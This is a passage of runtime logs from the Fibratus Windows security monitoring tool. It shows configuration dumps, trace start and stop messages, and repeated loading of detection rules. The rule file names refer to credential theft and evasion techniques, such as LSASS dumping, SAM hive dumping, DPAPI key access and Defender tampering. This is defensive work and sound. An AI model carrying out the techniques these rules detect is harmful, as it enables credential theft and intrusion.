handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true level=>info max-size=>100 max-backups=>15] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ gzip-compression=>false trace-log=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 template-name=>fibratus index-name=>fibratus timeout=>5s healthcheck=>true flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] enabled=>false] http=>[ enable-gzip=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false method=>POST serializer=>json enabled=>false] amqp=>[ timeout=>5s delivery-mode=>transient enabled=>false exchange-type=>topic durable=>false exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus passive=>false vhost=>/ url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s fastscan=>true skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-allocs=>false excluded-files=>[] excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:49:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:49:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:50:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:50:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:50:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:50:20+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:50:20+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:50:20+01:00 level=info msg=bootstrapping with pid 4372. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:50:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true max-buffers=>36 enable-vamap=>true buffer-size=>512 enable-image=>true enable-dns=>false enable-registry=>true flush-interval=>1s min-buffers=>16 enable-mem=>false enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-thread=>true enable-fileio=>true enable-handle=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST serializer=>json enable-gzip=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ bulk-workers=>1 sniff=>false index-name=>fibratus healthcheck=>true trace-log=>false servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus enabled=>false healthcheck-interval=>10s gzip-compression=>false] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient durable=>false exchange-type=>topic enabled=>false timeout=>5s exchange=>fibratus vhost=>/ passive=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-files=>false fastscan=>true skip-allocs=>false enabled=>false scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:50:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:50:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:51:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:51:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:51:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:51:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from 